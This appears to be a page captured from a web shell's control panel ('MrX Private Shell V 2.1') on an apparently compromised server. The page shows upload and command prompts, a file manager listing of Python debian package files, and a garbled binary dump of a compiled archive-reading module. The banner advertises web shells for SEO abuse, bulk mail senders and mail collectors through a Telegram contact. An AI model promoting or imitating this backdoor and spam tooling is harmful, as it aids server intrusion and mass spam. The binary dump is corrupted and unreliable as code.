__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

7�g�4��
�SrSSKJr SSKrSSKJrJrJrJrJ	r	J
r
JrJr Sr
\"\
5rSrSr"SS	\5r"S
S\5r"SS
\5r\S:Xa.\"S5r\"SR5\R7555 gg)z�Representation of ar archives for use with Debian binary packages

These classes are primarily intended to be used with the
:class:`debian.debfile.DebFile` class for working with Debian binary
packages.
�)�PathN)�BinaryIO�Dict�	Generator�Iterator�List�NoReturn�Optional�Unions!<arch>
�<s`
c��\rSrSrSrSrg)�ArError�/z?Common base for all exceptions raised within the arfile module �N)�__name__�
__module__�__qualname__�__firstlineno__�__doc__�__static_attributes__r��//usr/lib/python3/dist-packages/debian/arfile.pyrr/s��Jrrc�|�\rSrSrSrSSjrSSjrSrSrSr	\
"\	5rS	rS
r
SrSrS
rSrSrg)�ArFile�3z�Representation of an ar archive, see man 1 ar.

The interface of this class tries to mimic that of the TarFile module in
the standard library.

ArFile objects have the following (read-only) properties:
    - members       same as getmembers()
Nc���/Ul0UlXlX0lU=(d [R
"5UlUcSnXPlUS:XaUR5 gg)aYBuild an ar file representation starting from either a filename or
an existing file object. The only supported mode is 'r'.

The encoding and errors parameters control how member
names are decoded into Unicode strings. Like tarfile, the default
encoding is sys.getfilesystemencoding() and the default error handling
scheme is 'surrogateescape'.
N�surrogateescape�r)	�_ArFile__members�_ArFile__members_dict�_ArFile__fname�_ArFile__fileobj�sys�getfilesystemencoding�_ArFile__encoding�_ArFile__errors�_ArFile__index_archive)�self�filename�mode�fileobj�encoding�errorss      r�__init__�ArFile.__init__=sY�� ��� ����� ��"�A�c�&?�&?�&A����>�&�F��
��3�;�� � �"�rc��UR(a1[URS5nURU5 SSS5 gUR(aURUR5 g[	S5e!,(df   g=f)N�rbzUnable to open valid file)r!�open�_ArFile__collect_membersr"r)r(�fps  r�__index_archive�ArFile.__index_archiveZs]���<�<��d�l�l�D�)�R��&�&�r�*�*�)�
�^�^��"�"�4�>�>�2��5�6�6�*�)�s�A;�;
B	c���UR[5[:wa[S5e[RXRURURS9nU(dgURRU5 X RUR'URS-S:XaURURS5 OURURS-S5 M�)NzUnable to find global header)r,r-�r�)�read�GLOBAL_HEADER_LENGTH�
GLOBAL_HEADERr�ArMember�	from_filer!r%r&r�appendr �name�size�seek)r(r4�	newmembers   r�__collect_members�ArFile.__collect_memberscs���
�7�7�'�(�M�9��8�9�9�� �*�*�2�|�|�48�O�O�26�-�-�+�A�I����N�N�!�!�)�,�2;���	���/��~�~��!�Q�&����	����*����	����*�A�.�rc� �URU$)z�Return the (last occurrence of a) member in the archive whose name
is 'name'. Raise KeyError if no member matches the given name.

Note that in case of name collisions the only way to retrieve all
members matching a given name is to use getmembers. )r �r(r@s  r�	getmember�ArFile.getmemberus���"�"�4�(�(rc��UR$)z�Return a list of all members contained in the archive.

The list has the same order of members in the archive and can contain
duplicate members (i.e. members with the same name) if they are
duplicate in the archive itself. )r�r(s r�
getmembers�ArFile.getmemberss���~�~�rc�X�URVs/sHoRPM sn$s snf)z2Return a list of all member names in the archive. )rr@)r(�fs  r�getnames�ArFile.getnames�s"��!%���/��1����/�/��/s�'c��[e�zNot (yet) implemented. ��NotImplementedErrorrKs r�
extractall�ArFile.extractall��
��"�!rc��[erSrT)r(�member�paths   r�extract�ArFile.extract�rXrc��URHIn[U[5(aURUR:XaUs $XR:XdMGUs $ g)z�Return a file object corresponding to the requested member. A member
can be specified either as a string (its name) or as a ArMember
instance. N)r�
isinstancer=r@)r(rZ�ms   r�extractfile�ArFile.extractfile�sG�����A��&�(�+�+����&�+�+�0E���������	 �
rc�,�[UR5$)z4Iterate over the members of the present ar archive. )�iterrrKs r�__iter__�ArFile.__iter__�s���D�N�N�#�#rc�$�URU5$)zSame as .getmember(name). )rHrGs  r�__getitem__�ArFile.__getitem__�s���~�~�d�#�#r)�
__encoding�__errors�	__fileobj�__fname�	__members�__members_dict)NrNNN��returnN)rrrrrr.r'r3rHrL�property�membersrPrVr\rarerhrrrrrr3s[��������#�:7�/�$)���z�"�G�0�"�"��.$�$rrc�<�\rSrSrSrSSjr\SSj5rSSjrSSjr	SS	\
S\\4S
jjr
SS\
S\
SS4S
jjrS\
4SjrS\4SjrSSjrS\4SjrSr\"S5r\"S5r\"S5r\"S5r\"S5r\"S5r\"S5rSrg)r=�a�Member of an ar archive.

Implements most of a file object interface: read, readline, next,
readlines, seek, tell, close.

ArMember objects have the following (read-only) properties:
    - name      member name in an ar archive
    - mtime     modification time
    - owner     owner user
    - group     owner group
    - fmode     file permissions
    - size      size in bytes
    - fname     file namerqNc��SUlSUlSUlSUlSUlSUlSUlSUlSUlSUl	SUl
g)N�r)�_ArMember__name�_ArMember__mtime�_ArMember__owner�_ArMember__group�_ArMember__fmode�_ArMember__size�_ArMember__fname�
_ArMember__fp�_ArMember__offset�_ArMember__end�_ArMember__currKs rr.�ArMember.__init__�sO�������������������������	���
���
���
rc���UR[5nU(dg[U5[:a[S5eUSS[:wa[S5eUc[
R"5nUcSn[5nUSSRS	5SR5nURX#5Ul[USS
5Ul
[US
S5Ul[USS5UlUSS
Ul[US
S5UlXlU(dXlUR)5UlUR*UR"-UlUR*UlU$)z�fp is an open File object positioned on a valid file header inside
an ar archive. Return a new ArMember on success, None otherwise. NzIncorrect header length�:rzIncorrect file magicrr��/��"�(�0)r:�FILE_HEADER_LENGTH�len�IOError�
FILE_MAGICr#r$r=�split�strip�decoderx�intryrzr{r|r}r~r�tellr�r�r�)r4�fnamer,r-�bufrOr@s       rr>�ArMember.from_file�s8���g�g�(�)�����s�8�(�(��3�4�4��r�"�:��#��0�1�1����0�0�2�H��>�&�F�
�J���1�R�y���t�$�Q�'�-�-�/���;�;�x�0�����B�r�
�O��	���B�r�
�O��	���B�r�
�O��	���2�J��	��s�2�b�z�?����	���F��W�W�Y��
��*�*�q�x�x�'����*�*����rc��URc3URc[S5e[URS5UlURR	UR
5 SUs=:aURUR
-
::a?O O<URRU5nURR5UlU$UR
UR:�dUR
UR:agURRURUR
-
5nURR5UlU$)N�'Cannot have both fp and fname undefinedr1rr)
rr~�
ValueErrorr2rBr�r�r:r�r��r(rAr�s   rr:�
ArMember.read&s����9�9���|�|�#� �!J�K�K��T�\�\�4�0�D�I��	�	���t�z�z�"��t�.�t�z�z�D�J�J�.�.��)�)�.�.��&�C������)�D�J��J��:�:����#�t�z�z�D�M�M�'A���i�i�n�n�T�Z�Z�$�*�*�4�5���Y�Y�^�^�%��
��
rc�,�URc3URc[S5e[URS5UlURR	UR
5 UbWURR
U5nURR5UlUR
UR:�agU$URR
5nURR5UlUR
UR:�agU$)Nr�r1r)	rr~r�r2rBr��readliner�r�r�s   rr��ArMember.readline:s����9�9���|�|�#� �!J�K�K��T�\�\�4�0�D�I��	�	���t�z�z�"����)�)�$�$�T�*�C������)�D�J��z�z�D�J�J�&���J��i�i� � �"���Y�Y�^�^�%��
��:�:��
�
�"���
r�sizehintc�f�Sn/nUR5nU(dU$URU5 M-�N)r�r?)r(r�r��liness    r�	readlines�ArMember.readlinesPs:��������-�-�/�C�����
�L�L���	r�offset�whencec�P�[URUR5UlUS:a*XR-UR:a[SU-5eUS:XaURU-UlgUS:XaURU-UlgUS:XaURU-Ulgg)Nr8zCan't seek at %dr9r)�maxr�r�r�r�)r(r�r�s   rrB�
ArMember.seek\s�������T�]�]�3��
��A�:�&�:�:�-��
�
�=��,�v�5�6�6��Q�;����f�,�D�J�
�q�[�����/�D�J�
�q�[����f�,�D�J�rc�j�URUR:agURUR-
$)Nr)r�r�rKs rr��
ArMember.tellis(���:�:��
�
�%���z�z�D�M�M�)�)rc��g)NTrrKs r�seekable�ArMember.seekablens��rc�~�URb0URb"URR5 SUlgggr�)rr~�closerKs rr��ArMember.closeqs2���9�9� �T�\�\�%=��I�I�O�O���D�I�&>� rc�"�UR5$r��r�rKs r�next�
ArMember.nextvs���}�}��rc�0^�U4Sjn[U"55$)Nc3�F># �TR5nU(aUv� gg7fr�r�)�liner(s �r�nextline�#ArMember.__iter__.<locals>.nextline{s�����=�=�?�D���
��s�!)rd)r(r�s` rre�ArMember.__iter__ys���	��H�J��rc��UR$r�)rxrKs r�<lambda>�ArMember.<lambda>������rc��UR$r�)ryrKs rr�r�����$�,�,rc��UR$r�)rzrKs rr�r��r�rc��UR$r�)r{rKs rr�r��r�rc��UR$r�)r|rKs rr�r��r�rc��UR$r�)r}rKs rr�r��r�rc��UR$r�)r~rKs rr�r��r�r)�__cur�__end�__fmoderm�__fp�__group�__mtime�__name�__offset�__owner�__sizerp)NN)rr�)rrrrrr.�staticmethodr>r:r�r�r�bytesr�rBr��boolr�r�r�rerrr@�mtime�owner�group�fmoderAr�rrrrr=r=�s���!��0� ��8��8�z�(�,
�#�
�d�5�k�
�-�3�-��-�D�-�*�c�*�
�$���
�e�� ��,�-�D��.�/�E��.�/�E��.�/�E��.�/�E��,�-�D��.�/�Err=�__main__ztest.ar�
)r�pathlibrr#�typingrrrrrr	r
rr<r�r;r�r��	Exceptionr�objectrr=r�a�print�joinrPrrr�<module>r�s����0�
�	�	�	��
��=�)����
�
�K�i�K�K$�V�K$�\H0�v�H0�V�z��	�y��A�	�$�)�)�A�J�J�L�
!�"�	r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 1.02 KB 0644
_arch_table.cpython-313.pyc File 15.82 KB 0644
_util.cpython-313.pyc File 16.72 KB 0644
_version.cpython-313.pyc File 634 B 0644
arfile.cpython-313.pyc File 14.71 KB 0644
changelog.cpython-313.pyc File 38.9 KB 0644
copyright.cpython-313.pyc File 35.68 KB 0644
deb822.cpython-313.pyc File 93.51 KB 0644
debfile.cpython-313.pyc File 23.15 KB 0644
debian_support.cpython-313.pyc File 29.56 KB 0644
debtags.cpython-313.pyc File 18.78 KB 0644
substvars.cpython-313.pyc File 16.85 KB 0644
watch.cpython-313.pyc File 9.93 KB 0644
Filemanager